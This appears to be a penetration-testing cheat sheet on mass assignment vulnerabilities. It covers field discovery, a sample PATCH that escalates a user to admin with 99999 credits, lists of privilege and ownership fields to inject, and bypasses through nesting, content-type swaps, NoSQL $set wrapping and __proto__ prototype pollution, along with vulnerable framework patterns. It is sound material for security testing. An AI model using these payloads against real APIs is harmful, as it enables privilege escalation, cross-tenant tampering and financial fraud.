caon.io

Mass Assignment

The form shows three fields. The model has thirty. Send the other twenty-seven.

Find the field names

  • GET the object first — the response usually lists every field the model has
  • Old API versions, mobile clients and the admin UI expose more
  • Registration vs profile-update often accept different sets
  • JS bundles, .map files, GraphQL introspection, Swagger / OpenAPI
GET  /api/v1/users/me     →  {"id":1,"email":"[email protected]","role":"user","verified":false,"credits":0}
PATCH /api/v1/users/me    →  {"email":"[email protected]","role":"admin","verified":true,"credits":99999}

The fields worth trying

role  roles  isAdmin  is_admin  admin  permissions  scope  group  groupId
verified  emailVerified  is_active  approved  status  state
balance  credits  price  amount  discount  plan  tier  subscription
userId  user_id  owner  ownerId  tenantId  organizationId  accountId
id  _id  uuid  createdAt  deletedAt
password  passwordHash  otpEnabled  mfaEnabled  emailConfirmed

userId / ownerId is the one people miss — it turns creation into cross-tenant write.

Nesting

Blocklists usually only check the top level.

{"user":{"role":"admin"}}
{"profile":{"user":{"role":"admin"}}}
{"data":{"attributes":{"role":"admin"}}}

Content type swap

A parser change is often a validator change.

Content-Type: application/json         {"role":"admin"}
Content-Type: application/xml          <user><role>admin</role></user>
Content-Type: application/x-www-form-urlencoded    role=admin

Array and object wrapping

{"role":["admin"]}
{"role":{"$set":"admin"}}      # NoSQL backends

Framework notes

Stack Where it goes wrong
Rails params.permit!, missing strong parameters
Laravel $fillable unset, $guarded = []
Django REST fields = '__all__' on the serializer
Spring @ModelAttribute without @InitBinder allow-list
Express Object.assign(user, req.body), User.update(req.body)
Mongoose findOneAndUpdate(q, req.body)

Object.assign(obj, req.body) on a JS backend is also Prototype Pollution — try __proto__ in the same request.

Read the response

The 200 may echo the object back with your value already applied even if the write is later rejected. Re-GET the object to confirm it persisted before reporting.

Articles

↑↓ navigate↵ openesc close